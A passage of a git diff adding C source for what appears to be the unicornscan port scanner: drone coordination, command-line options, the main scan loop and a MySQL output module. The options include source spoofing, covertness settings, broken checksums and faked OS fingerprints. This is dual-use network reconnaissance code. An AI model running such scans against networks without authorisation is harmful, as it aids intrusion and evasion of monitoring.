&l_u.l->mymask, sizeof(struct sockaddr_storage)); + memcpy(s->vi[0]->hwaddr, l_u.l->hwaddr, THE_ONLY_SUPPORTED_HWADDR_LEN); + + snprintf(s->vi[0]->hwaddr_s, sizeof(s->vi[0]->hwaddr_s) -1, "%02x:%02x:%02x:%02x:%02x:%02x", l_u.l->hwaddr[0], l_u.l->hwaddr[1], l_u.l->hwaddr[2], l_u.l->hwaddr[3], l_u.l->hwaddr[4], l_u.l->hwaddr[5]); + snprintf(s->vi[0]->myaddr_s, sizeof(s->vi[0]->myaddr_s) -1, "%s", cidr_saddrstr((const struct sockaddr *)&l_u.l->myaddr)); + + DBG(M_DRN, "listener info gave me the following address information `%s [%s]' with mtu %u", s->vi[0]->myaddr_s, s->vi[0]->hwaddr_s, s->vi[0]->mtu); + } + } + else { + ERR("drone isnt ready on fd %d, marking as dead", c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + } + break; + + case DRONE_STATUS_READY: + all_done++; + break; + + case DRONE_STATUS_DEAD: + all_done++; + ERR("dead %s drone in list on fd %d", strdronetype(c->type), c->s); + break; + + default: + ecount++; + ERR("%s drone on fd %d has an unknown status %s", strdronetype(c->type), c->s, strdronestatus(c->s)); + break; + + } /* switch node status */ + } /* step though list */ + + if (laggers > 0) { + usleep(10000); + } + + } while (all_done < s->dlh->size); + + return 1; +} + +void terminate_alldrones(void) { + drone_t *c=NULL; + uint8_t *ptr=NULL; + + for (c=s->dlh->head ; c != NULL ; c=c->next) { + DBG(M_DRN, "drone %s is state %s", strdronetype(c->type), strdronestatus(c->status)); + if (c->s > -1) { + if (send_message(c->s, MSG_QUIT, MSG_STATUS_OK, ptr, 0) < 0) { + ERR("cant tell %s %s drone on fd %d to terminate, marking dead", strdronestatus(c->status), strdronetype(c->type), c->s); + drone_updatestate(c, DRONE_STATUS_DEAD); + if (c->wid) { + if (c->type == DRONE_TYPE_SENDER) { + workunit_reject_sp(c->wid); + } + else if (c->type == DRONE_TYPE_LISTENER) { + workunit_reject_lp(c->wid); + } + } + c->wid=0; + } + else { + if (c->wid) { + if (c->type == DRONE_TYPE_SENDER) { + workunit_reject_sp(c->wid); + } + else if (c->type == DRONE_TYPE_LISTENER) { + workunit_reject_lp(c->wid); + } + } + c->wid=0; + drone_updatestate(c, DRONE_STATUS_DONE); + } + } + } + + return; +} diff --git a/src/drone_setup.h b/src/drone_setup.h new file mode 100644 index 0000000..bc8d88b --- /dev/null +++ b/src/drone_setup.h @@ -0,0 +1,25 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _DRONE_CONNECT_H +# define _DRONE_CONNECT_H + +int drone_setup(void); +void terminate_alldrones(void); + +#endif diff --git a/src/getconfig.c b/src/getconfig.c new file mode 100644 index 0000000..ce31307 --- /dev/null +++ b/src/getconfig.c @@ -0,0 +1,517 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef WITH_LONGOPTS +#include +#endif + + +#include + +/* + * inputs: NONE + * outputs: NONE + * terminates the program with an error code with a description of the arguments + * the program accepts, currently only used inside getconfig.c + */ +static void usage(void) _NORETURN_; + +/* + */ +static void display_version(void) _NORETURN_; + +/* XXX + * this needs to be recoded + */ +void getconfig_profile(const char *progname) { + const char *profname=NULL; + + if (progname == NULL) { + PANIC("argv[0] is NULL?"); + } + + profname=strrchr(progname, '/'); + if (profname != NULL) { + progname=profname + 1; + } + + if ((profname=strrchr(progname, '.')) != NULL) { + profname++; + if (*profname != '\0') { + s->profile=xstrdup(profname); + } + else { + s->profile=xstrdup(DEF_PROFILE); + } + } + else { + s->profile=xstrdup(DEF_PROFILE); + } + + return; +} + +int getconfig_argv(int argc, char ** argv) { + int ch=0; + char conffile[512]; + +#define OPTS \ + "b:" "B:" "c" "d:" "D" "e:" "E" "F" "G:" "h" "H" "i:" "I" "j:" "l:" "L:" "m:" "M:" "o:" "p:" "P:" "q:" "Q" \ + "r:" "R:" "s:" "S" "t:" "T:" "u:" "U" "w:" "W:" "v" "V" "z" "Z:" + +#ifdef WITH_LONGOPTS + const struct option long_opts[]={ + {"broken-crc", 1, NULL, 'b'}, + {"source-port", 1, NULL, 'B'}, + {"proc-duplicates", 0, NULL, 'c'}, + {"delay-type", 1, NULL, 'd'}, + {"no-defpayload", 0, NULL, 'D'}, + {"enable-modules", 1, NULL, 'e'}, + {"show-errors", 0, NULL, 'E'}, + {"try-frags", 0, NULL, 'F'}, + {"payload-group", 1, NULL, 'G'}, + {"help", 0, NULL, 'h'}, + {"do-dns", 0, NULL, 'H'}, + {"interface", 1, NULL, 'i'}, + {"immediate", 0, NULL, 'I'}, + {"ignore-seq", 1, NULL, 'j'}, + {"logfile", 1, NULL, 'l'}, + {"packet-timeout", 1, NULL, 'L'}, + {"mode", 1, NULL, 'm'}, + {"module-dir", 1, NULL, 'M'}, + {"format", 1, NULL, 'o'}, + {"ports", 1, NULL, 'p'}, + {"pcap-filter", 1, NULL, 'P'}, + {"covertness", 1, NULL, 'q'}, + {"quiet", 0, NULL, 'Q'}, + {"pps", 1, NULL, 'r'}, + {"repeats", 1, NULL, 'R'}, + {"source-addr", 1, NULL, 's'}, + {"no-shuffle", 0, NULL, 'S'}, + {"ip-ttl", 1, NULL, 't'}, + {"ip-tos", 1, NULL, 'T'}, + {"debug", 1, NULL, 'u'}, + {"no-openclosed", 0, NULL, 'U'}, + {"savefile", 1, NULL, 'w'}, + {"fingerprint", 1, NULL, 'W'}, + {"verbose", 1, NULL, 'v'}, /* this is different in the long / short opts */ + {"version", 0, NULL, 'V'}, + {"sniff", 0, NULL, 'z'}, + {"drone-str", 1, NULL, 'Z'}, + {NULL, 0, NULL, 0 } + }; +#endif /* LONG OPTION SUPPORT */ + + scan_setdefaults(); + + snprintf(conffile, sizeof(conffile) -1, CONF_FILE, s->profile); + if (readconf(conffile) < 0) { + return -1; + } + +#ifdef WITH_LONGOPTS + while ((ch=getopt_long(argc, argv, OPTS, long_opts, NULL)) != -1) { +#else + while ((ch=getopt(argc, argv, OPTS)) != -1) { +#endif + switch (ch) { + case 'b': + if (scan_setbroken(optarg) < 0) { + usage(); + } + break; + + case 'B': + if (scan_setsrcp(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'c': + if (scan_setprocdups(1) < 0) { + usage(); + } + break; + + case 'D': /* set no default payload */ + if (scan_setdefpayload(0) < 0) { + usage(); + } + break; + + case 'd': + if (scan_setdelaytype(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'e': /* enable modules */ + if (scan_setenablemodule(optarg) < 0) { + usage(); + } + break; + + case 'E': /* report and listen for non open/closed responses */ + if (scan_setprocerrors(1) < 0) { + usage(); + } + break; + + case 'F': /* fragment packets if possible */ + if (scan_settryfrags(1) < 0) { + usage(); + } + break; + + case 'G': + if (scan_setpayload_grp(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'h': /* help */ + usage(); + break; + + case 'H': /* resolve ip addresses into names during reporting phase */ + if (scan_setdodns(1) < 0) { + usage(); + } + break; + + case 'i': /* interface name */ + if (scan_setinterface(optarg) < 0) { + usage(); + } + break; + + case 'I': + if (scan_setimmediate(1) < 0) { + usage(); + } + break; + + case 'j': /* ignore sequence numbers during tcp scanning */ + if (scan_setignoreseq(optarg) < 0) { + usage(); + } + break; + + case 'L': /* how long to wait for replies after done sending */ + if (scan_setrecvtimeout(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'l': /* log to file, not tty */ + if ((s->_stdout=fopen(optarg, "a+")) == NULL) { + terminate("logfile `%s' cant be opened", optarg); + } + s->_stderr=s->_stdout; + break; + + case 'm': /* scan mode, tcp udp, etc */ + if (scan_setoptmode(optarg) < 0) { + usage(); + } + break; + + case 'M': /* module directory base */ + if (scan_setmoddir(optarg) < 0) { + usage(); + } + break; + + case 'o': /* report format string */ + if (scan_setformat(optarg) < 0) { + usage(); + } + break; + + + case 'p': /* Global ports to scan */ + if (scan_setgports(optarg) < 0) { + usage(); + } + break; + + case 'P': /* pcap filter to use, like "! port 162" */ + if (scan_setpcapfilter(optarg) < 0) { + usage(); + } + break; + + case 'q': /* covertness */ + if (scan_setcovertness(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'Q': + if (scan_setreportquiet(1) < 0) { + usage(); + } + break; + + case 'r': /* rate of scan */ + if (scan_setpps(optarg) < 0) { + usage(); + } + break; + + case 'R': /* repeat scan n times */ + if (scan_setrepeats(atoi(optarg)) < 0) { + usage(); + } + break; + + case 's': /* set source ip address to optarg */ + if (scan_setsrcaddr(optarg) < 0) { + usage(); + } + break; + + case 'S': /* do not shuffle ports */ + if (scan_setshuffle(1) < 0) { + usage(); + } + break; + + case 't': /* ttl on outgoing IP datagrams */ + if (scan_setttl(optarg) < 0) { + usage(); + } + break; + + case 'T': /* TOS on outgoing IP datagram */ + if (scan_settos(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'u': /* debug mask */ + if (scan_setdebug(optarg) < 0) { + usage(); + } + break; + + case 'U': /* do NOT translate Open/Closed in output, display as is */ + if (scan_settrans(0) < 0) { + usage(); + } + break; + + case 'v': /* verbose */ + if (optarg != NULL) { + if (scan_setverbose(atoi(optarg)) < 0) usage(); + } + else if (scan_setverboseinc() < 0) { + usage(); + } + break; + + case 'V': + display_version(); + break; + + case 'w': /* write to pcap logfile optarg */ + if (scan_setsavefile(optarg) < 0) { + usage(); + } + break; + + case 'W': /* what stack to pretend to have */ + if (scan_setfingerprint(atoi(optarg)) < 0) { + usage(); + } + break; + + case 'z': /* im too lazy to run tcpdump mode */ + if (scan_setsniff(1) < 0) { + usage(); + } + break; + + case 'Z': /* used for cluster scanning */ + if (scan_setdronestring(optarg) < 0) { + usage(); + } + break; + + default: + usage(); + break; + } /* switch option */ + } /* getopt loop */ + + /* its not set if its null, so set it, otherwise it is */ + if (s->mod_dir == NULL) { + scan_setmoddir(MODULE_DIR); + } + + s->argv_ext=fifo_init(); + + for (; optind < argc; optind++) { + fifo_push(s->argv_ext, xstrdup(argv[optind])); + } + + return 1; +} + + +void do_targets(void) { + union { + void *ptr; + char *str; + } s_u; + char *estr=NULL; + + for (s_u.ptr=fifo_pop(s->argv_ext); s_u.ptr != NULL; s_u.ptr=fifo_pop(s->argv_ext)) { + if (workunit_add(s_u.str, &estr) < 0) { + if (access(s_u.str, R_OK) == 0) { + FILE *rfile=NULL; + char lbuf[2048]; + char *tok=NULL, *rent=NULL; + + CLEAR(lbuf); + + rfile=fopen(s_u.str, "r"); + if (rfile == NULL) { + continue; + } + + while (fgets(lbuf, sizeof(lbuf) -1, rfile) != NULL) { + for (tok=strtok_r(lbuf, "\t\r\n\v\f ", &rent); tok != NULL; tok=strtok_r(NULL, "\t\r\n\v\f ", &rent)) { + if (workunit_add(tok, &estr) < 0) { + ERR("cant add workunit `%s' from file `%s': %s", tok, s_u.str, estr); + } + } + } + + fclose(rfile); + } + else { + ERR("cant add workunit for argument `%s': %s", s_u.str, estr != NULL ? estr : ""); /* bad hostname? */ + } + } + } + + /* if we are not a drone */ + if (!(GET_LISTENDRONE() || GET_SENDDRONE())) { + if (s->num_hosts < 1) { + INF("what host(s) should i scan?, ive got nothing to do"); + uexit(0); + } + } + + return; +} + +static void usage(void) { + + INF("%s (version %s)\n" + "usage: %s [options `%s' ] X.X.X.X/YY:S-E\n" + "\t-b, --broken-crc *set broken crc sums on [T]ransport layer, [N]etwork layer, or both[TN]\n" + "\t-B, --source-port *set source port? or whatever the scan module expects as a number\n" + "\t-c, --proc-duplicates process duplicate replies\n" + "\t-d, --delay-type *set delay type (numeric value, valid options are `%s')\n" + "\t-D, --no-defpayload no default Payload, only probe known protocols\n" + "\t-e, --enable-module *enable modules listed as arguments (output and report currently)\n" + "\t-E, --proc-errors for processing `non-open' responses (icmp errors, tcp rsts...)\n" + "\t-F, --try-frags \n" + "\t-G, --payload-group *payload group (numeric) for tcp/udp type payload selection (default all)\n" + "\t-h, --help help\n" + "\t-H, --do-dns resolve hostnames during the reporting phase\n" + "\t-i, --interface *interface name, like eth0 or fxp1, not normally required\n" + "\t-I, --immediate immediate mode, display things as we find them\n" + "\t-j, --ignore-seq *ignore `A'll, 'R'eset sequence numbers for tcp header validation\n" + "\t-l, --logfile *write to this file not my terminal\n" + "\t-L, --packet-timeout *wait this long for packets to come back (default %d secs)\n" + "\t-m, --mode *scan mode, tcp (syn) scan is default, U for udp T for tcp `sf' for tcp connect scan and A for arp\n" + "\t for -mT you can also specify tcp flags following the T like -mTsFpU for example\n" + "\t that would send tcp syn packets with (NO Syn|FIN|NO Push|URG)\n" + "\t-M, --module-dir *directory modules are found at (defaults to %s)\n" + "\t-o, --format *format of what to display for replies, see man page for format specification\n" + "\t-p, --ports global ports to scan, if not specified in target options\n" + "\t-P, --pcap-filter *extra pcap filter string for reciever\n" + "\t-q, --covertness *covertness value from 0 to 255\n" + "\t-Q, --quiet dont use output to screen, its going somewhere else (a database say...)\n" + "\t-r, --pps *packets per second (total, not per host, and as you go higher it gets less accurate)\n" + "\t-R, --repeats *repeat packet scan N times\n" + "\t-s, --source-addr *source address for packets `r' for random\n" + "\t-S, --no-shuffle do not shuffle ports\n" + "\t-t, --ip-ttl *set TTL on sent packets as in 62 or 6-16 or r64-128\n" + "\t-T, --ip-tos *set TOS on sent packets\n" + "\t-u, --debug *debug mask\n" + "\t-U, --no-openclosed dont say open or closed\n" + "\t-w, --safefile *write pcap file of recieved packets\n" + "\t-W, --fingerprint *OS fingerprint 0=cisco(def) 1=openbsd 2=WindowsXP 3=p0fsendsyn 4=FreeBSD 5=nmap\n" + "\t 6=linux 7:strangetcp\n" + "\t-v, --verbose verbose (each time more verbose so -vvvvv is really verbose)\n" + "\t-V, --version display version\n" + "\t-z, --sniff sniff alike\n" + "\t-Z, --drone-str *drone String\n" + "*:\toptions with `*' require an argument following them\n\n" + " address ranges are cidr like 1.2.3.4/8 for all of 1.?.?.?\n" + " if you omit the cidr mask then /32 is implied\n" + " port ranges are like 1-4096 with 53 only scanning one port, a for all 65k and p for 1-1024\n" + "example: %s -i eth1 -Ir 160 -E 192.168.1.0/24:1-4000 gateway:a", + PROGNAME, VERSION, PROGNAME, OPTS, delay_getopts(), DEF_SCANTIMEOUT, MODULE_DIR, PROGNAME); + + uexit(0); +} + +static void display_version(void) { + uint8_t min, maj; + + MOD_VERSION(MODULE_IVER, maj, min); + + INF("%s version `%s' using module version %d.%02d build options [%s ]", TARGETNAME, VERSION, maj, min, BUILDOPTS); +#ifdef HAVE_PCAP_LIB_VERSION + INF("pcap version %s", pcap_lib_version()); +#endif + INF("%s", COMPILE_STR); + INF("report bugs to %s", BUGURL); + + uexit(0); +} diff --git a/src/getconfig.h b/src/getconfig.h new file mode 100644 index 0000000..61f232e --- /dev/null +++ b/src/getconfig.h @@ -0,0 +1,32 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _GET_OPTS_H +# define _GET_OPTS_H + +/* + */ +int getconfig_argv(int /* argc */, char ** /* argv[] */); + +/* + */ +void getconfig_profile(const char *); + +void do_targets(void); + +#endif diff --git a/src/globalheaders.h b/src/globalheaders.h new file mode 100644 index 0000000..69bbfac --- /dev/null +++ b/src/globalheaders.h @@ -0,0 +1,19 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..344a141 --- /dev/null +++ b/src/main.c @@ -0,0 +1,261 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include + +#include +#include +#include + +settings_t *s=NULL; +int ident=0; +const char *ident_name_ptr=NULL; + +int main(int argc, char **argv) { + unsigned int num_secs=0, time_off=0; + char time_est[128]; + + ident=IDENT_MASTER; + ident_name_ptr=IDENT_MASTER_NAME; + + s=(settings_t *)xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + + signals_setup(); + + s->_stdout=stdout; + s->_stderr=stderr; + + prng_init(); + + time(&s->s_time); + + scan_setprivdefaults(); + + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + memset(s->vi[0], 0, sizeof(interface_info_t)); + s->dns=stddns_init(NULL, STDDNS_FLG_ALL); + + if (workunit_init() < 0) { + terminate("cant initialize workunits"); + } + + /* s->display=&display_builtin; */ + if (init_payloads() < 0) { + terminate("cant initialize payloads"); + } + + getconfig_profile(argv[0]); + + if (getconfig_argv(argc, argv) < 0) { + terminate("unable to get configuration"); + } + + /* now parse argv data for a target -> workunit list */ + do_targets(); + + if (s->interface_str == NULL) { + if (workunit_get_interfaces() < 0) { + terminate("cant get interface(s) for target(s) from route table"); + } + } + assert(s->interface_str != NULL); + + VRB(0, "using interface(s) %s", s->interface_str); + + if (init_modules() < 0) { + terminate("cant initialize module structures, quiting"); + } + + if (init_output_modules() < 0) { + terminate("cant initialize output module structures, quiting"); + } + + if (init_report_modules() < 0) { + terminate("cant initialize report module structures, quiting"); + } + + if (init_payload_modules(&add_payload) < 0) { + terminate("cant initialize payload module structures, quiting"); + } + + time_est[0]='\0'; + time_off=0; + + num_secs=s->num_secs; + + if (num_secs > (60 * 60)) { + unsigned long long int hours=0; + int sret=0; + + hours=num_secs / (60 * 60); + + sret=snprintf(&time_est[time_off], sizeof(time_est) - (time_off + 1), "%llu Hours, ", hours); + assert(sret > 0); + time_off += sret; + + num_secs -= hours * (60 * 60); + } + if (num_secs > 60) { + unsigned long long int minutes=0; + int sret=0; + + minutes=num_secs / 60; + + sret=snprintf(&time_est[time_off], sizeof(time_est) - (time_off + 1), "%llu Minutes, ", minutes); + assert(sret > 0); + time_off += sret; + + num_secs -= minutes * 60; + } + + snprintf(&time_est[time_off], sizeof(time_est) - (time_off + 1), "%u Seconds", num_secs); + + VRB(0, "scaning %.2e total hosts with %.2e total packets, should take a little longer than %s", + s->num_hosts, + s->num_packets, + time_est + ); + + if (GET_OVERRIDE()) { + /* the ip info is already filled in, so just complete the rest */ + if (strlen(s->vi[0]->hwaddr_s) == 0) { + strcpy(s->vi[0]->hwaddr_s, "00:00:00:00:00:00"); + } + + /* complete the information we need like hwaddr, cause its impossible to specify that currently */ + VRB(1, "spoofing from `%s [%s]'", s->vi[0]->myaddr_s, s->vi[0]->hwaddr_s); + } + else { + /* let the listener tell us then, the user didnt request a specific address */ + strcpy(s->vi[0]->myaddr_s, "0.0.0.0"); + strcpy(s->vi[0]->hwaddr_s, "00:00:00:00:00:00"); + } + + s->vi[0]->mtu=0; /* the listener will to tell us this */ + + if (ipc_init() < 0) { + terminate("cant initialize IPC, quiting"); + } + + if (drone_init() < 0) { + terminate("cant initialize drone structure"); + } + + DBG(M_CLD, "main process id is %d", getpid()); + + if (s->forklocal) { + chld_init(); + + /* setup signals for children to sync with */ + if (signals_children() < 0) { + terminate("cant setup child signals"); + } + + /* initialize senders */ + if (chld_fork() < 0) { + terminate("something went wrong while forking children"); + } + + while (chld_waitsync() > 0) { + usleep(10000); + } + + DBG(M_CLD, "children synced"); + } + + if (drone_setup() < 0) { + terminate("cant setup drones, exiting"); + } + + /* XXX remove this and fix */ + if (s->senders == 0 && GET_SENDDRONE()) { + /* XXX */ + terminate("no senders for scan, giving up and rudley disconnecting from other drones without warning"); + } + + if (s->listeners == 0 && GET_LISTENDRONE()) { + /* XXX */ + terminate("no listeners for scan, giving up and rudley disconnecting from other drones without warning"); + } + + if (GET_SENDDRONE() || GET_LISTENDRONE()) { + run_drone(); + } + else { + + report_init(); + if (GET_DOCONNECT()) { + connect_init(); + } + + for (s->cur_iter=1 ; s->cur_iter < (s->scan_iter + 1); s->cur_iter++) { + VRB(1, "scan iteration %u out of %u", s->cur_iter, s->scan_iter); + workunit_reset(); + run_scan(); + } + + report_do(); + report_destroy(); + + if (GET_DOCONNECT()) { + connect_destroy(); + } + } + + terminate_alldrones(); + + time(&s->e_time); + + DBG(M_MOD, "main shuting down output modules"); + + fini_output_modules(); + fini_report_modules(); + + workunit_destroy(); + + chld_reapall(); + + VRB(2, "main exiting"); + + uexit(0); +} diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..14a6930 --- /dev/null +++ b/src/main.h @@ -0,0 +1,6 @@ +#ifndef _MAIN_H +# define _MAIN_H + +/* this is to make the makefile look pretty */ + +#endif diff --git a/src/output_modules/Makefile.in b/src/output_modules/Makefile.in new file mode 100644 index 0000000..fea92be --- /dev/null +++ b/src/output_modules/Makefile.in @@ -0,0 +1,28 @@ +include ../../Makefile.inc + +SUBDIRS=database + +all: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ all || exit 1 && cd ..;\ + done + +clean: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ clean || exit 1 && cd ..;\ + done + +distclean: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ distclean || exit 1 && cd ..;\ + done + +install: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ install || exit 1 && cd ..;\ + done + +uninstall: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ uninstall || exit 1 && cd ..;\ + done diff --git a/src/output_modules/database/Makefile.in b/src/output_modules/database/Makefile.in new file mode 100644 index 0000000..36bfd13 --- /dev/null +++ b/src/output_modules/database/Makefile.in @@ -0,0 +1,44 @@ +include ../../../Makefile.inc + +HDRS= + +DBTYPES=@DBTYPES@ + +G_LDPATH=-L$(BUILD_DIR)/src/unilib -L$(BUILD_DIR)/src/parse -L$(BUILD_DIR)/src/scan_progs +CFLAGS += -DMODULE=1 @PG_CPPFLAGS@ + +all: $(DBTYPES) + +mysql: mysqldb.la +pgsql: pgsqldb.la + +mysqldb.la: mysqldb.lo $(HDRS) + $(LIBTOOL) --mode=link $(CC) $(MODCLFLAGS) $(CFLAGS) @MY_CPPFLAGS@ -o mysqldb.la mysqldb.lo @MY_LDFLAGS@ $(G_LDPATH) -lmysqlclient -lunilib + +pgsqldb.la: pgsqldb.lo $(HDRS) + $(LIBTOOL) --mode=link $(CC) $(MODCLFLAGS) $(CFLAGS) @PG_CPPFLAGS@ -o pgsqldb.la pgsqldb.lo $(G_LDPATH) @PG_LDFLAGS@ -lpq -lunilib + +clean: + dbtypes="$(DBTYPES)" && for g in $$dbtypes; do \ + $(LIBTOOL) --mode=clean rm -f $${g}db.la;\ + $(LIBTOOL) --mode=clean rm -f $${g}db.lo;\ + done + +distclean: clean + rm -f template.h + +install: all + mkdir -p $(DESTDIR)/$(MODDIR) + dbtypes="$(DBTYPES)" && for g in $$dbtypes; do \ + $(LIBTOOL) --mode=install $(INSTALL_PROGRAM) -m 755 $${g}db.la $(DESTDIR)/$(MODDIR)/; \ + if test -f $(DESTDIR)/$(MODDIR)/$${g%%.la}db.so; then \ + $(CHCON) system_u:object_r:shlib_t $(DESTDIR)/$(MODDIR)/$${g%%.la}db.so; \ + $(CHCON) system_u:object_r:unicornscan_share_t $(DESTDIR)/$(MODDIR)/$${g%%.la}db.la; \ + fi \ + done + $(LIBTOOL) --mode=finish $(DESTDIR)/$(MODDIR) + +uninstall: + for g in $(DBTYPES); do \ + $(LIBTOOL) --mode=uninstall rm -f $(DESTDIR)/$(MODDIR)/$${g}db.la; \ + done diff --git a/src/output_modules/database/attic/mysql_schema.sql b/src/output_modules/database/attic/mysql_schema.sql new file mode 100644 index 0000000..ec1d2f0 --- /dev/null +++ b/src/output_modules/database/attic/mysql_schema.sql @@ -0,0 +1,83 @@ + +drop table `os_fingerprint`; +drop table `banner`; +drop table `scan_bucket`; +drop table `scan`; +drop table `scan_queue`; + +create table `scan_queue` +( + `scan_queue_id` bigint not null auto_increment, + `target` varchar(200) not null, + `portstr` varchar(200) not null, + `scanmode` varchar(10) not null, + `pps` bigint not null, + `srcaddr` varchar(100) not null, + `srcport` int not null, + `fantaip` smallint not null, -- 1: use fantaip, 0: don't use fantaip + `fingerprint` smallint not null, + `brokencrc` varchar(3) default null, + `ipttl` smallint default null, + `iptos` smallint default null, + `repeats` bigint default null, + `outputmods` varchar(200) default null, -- database,p0f + `extraargs` varchar(200) default null, -- S:no-shuffle, D:no-defpayload + `pcapfilter` varchar(200) default null, + `listener_flags` int not null, + `sender_flags` int not null, + `master_flags` int not null, + primary key(`scan_queue_id`) +); + +create table `scan` +( + `scan_id` bigint not null auto_increment, + `s_time` bigint not null, + `e_time` bigint not null, + `addrmax` bigint not null, + `addrmin` bigint not null, + `portstr` varchar(200) not null, + `scanmode` smallint not null, + `pps` bigint not null, + `srcaddr` bigint not null, + `srcport` int not null, + `fingerprint` int not null, + `tcpflags` int not null, + `active_plgroups` smallint not null, + `dronestr` varchar(200) not null, + `ipttl` smallint not null, + `iptos` smallint not null, + `ipoffset` int not null, + `repeats` bigint default null, + `pcapfilter` varchar(200) not null, + primary key(`scan_id`) +); + +create table `scan_bucket` +( + `scan_bucket_id` bigint not null auto_increment, + `scan_id` bigint not null, + `protocol` smallint not null, + `host_addr` bigint not null, -- ipv4 only obviously + `trace_addr` bigint not null, + `dport` int not null, + `sport` int not null, + `type` int not null, + `subtype` int not null, + `ttl` smallint not null, + `u_tstamp` bigint not null, + `u_utstamp` bigint not null, + primary key (`scan_bucket_id`) +); + +create table `os_fingerprint` +( + `scan_bucket_id` bigint not null, + `os` varchar(200) not null +); + +create table `banner` +( + `scan_bucket_id` bigint not null, + `banner` varchar(200) not null +); diff --git a/src/output_modules/database/attic/mysqldb.c b/src/output_modules/database/attic/mysqldb.c new file mode 100644 index 0000000..fe72123 --- /dev/null +++ b/src/output_modules/database/attic/mysqldb.c @@ -0,0 +1,382 @@ +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "template.h" +#include "default_dbinfo.h" + +#include + +void mysql_database_init(void); +void mysql_database_fini(void); +static char *mysql_escstr(const char *); + +static MYSQL *myconn=NULL; +static MYSQL_RES *myres=NULL; + +static uint64_t scanid; +static int db_disable=0; +static void database_walk_func(const void *); +static mod_entry_t *_m=NULL; +static char db_banner[256], db_os[256]; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "Output to MySQL Database"); + snprintf(m->name, sizeof(m->name) -1, "mysqldb"); + snprintf(m->errstr, sizeof(m->errstr) -1, "No Error"); + + m->iver=0x0102; /* 1.0 */ + m->type=MI_TYPE_OUTPUT; + + m->param_u.output_s.init_output=&mysql_database_init; + m->param_u.output_s.fini_output=&mysql_database_fini; + + s=m->s; + _m=m; + return 1; +} + +void mysql_database_fini(void) { + char query[512]; + + if (db_disable) return; + + CLEAR(query); snprintf(query, sizeof(query) -1, mysql_scanfini, (long long int)s->e_time, scanid); + if (mysql_query(myconn, 